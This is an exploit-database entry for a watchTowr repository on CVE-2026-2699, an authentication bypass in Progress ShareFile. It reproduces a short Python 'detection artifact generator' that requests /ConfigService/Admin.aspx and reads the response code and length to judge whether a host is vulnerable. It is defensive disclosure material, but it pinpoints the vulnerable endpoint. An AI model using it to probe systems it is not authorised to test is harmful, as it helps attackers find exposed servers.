Exploit database

GH-c231ed46bcbc651c741c2e0ed112d7d2

watchtowrlabs/watchtowr-vs-progress-sharefile-cve-2026-2699

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-2699

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

watchTowr-vs-Progress-ShareFile-CVE-2026-2699.py

Suggested starting filePython · 1,979 bytes
import sys
import argparse
import urllib3

import requests

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-Progress-ShareFile-CVE-2026-2699.py
        (*) CVE-2026-2699 Progress ShareFile Authentication Bypass - Detection Artifact Generator

          - Sonny and Piotr of watchTowr 

        CVEs: CVE-2026-2699
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {}
    
def dag(host):

    print('[+] Detection Artifact Generator Started')
    print('[+] Sending GET to /ConfigService/Admin.aspx')

    url = "%sConfigService/Admin.aspx" % host

    resp = requests.get(url, verify = False, proxies = proxies, allow_redirects = False)

    if resp.status_code == 302 and int(resp.headers['Content-Length']) > 10000:
        print('[+] PROBABLY VULNERABLE')
    elif resp.status_code == 403:
        print('[-] PROBABLY NOT VULNERABLE: 403 status code')
    else:
        print('[-] PROBABLY NOT VULNERABLE: unknown status code and Content-Length')

if __name__ == "__main__":

    print(banner)

    usage = """python3 dag.py [-h] -H HOST \r\n\r\n\
        For more help, use "python3 dag.py --help"
        INFO HERE
        """
    parser = argparse.ArgumentParser(description = 'ShareFile Authentication Bypass: CVE-2026-2699 Detection Artifact Generator', usage = usage)
    
    #required arg
    parser.add_argument('-H', dest = 'host', action = "store", type = str, help = 'Host, eg. "https://target"', required = True)

    #get arguments
    args = parser.parse_args()
    host = args.host

    if host[-1] != '/':
        host += '/'

    dag(host)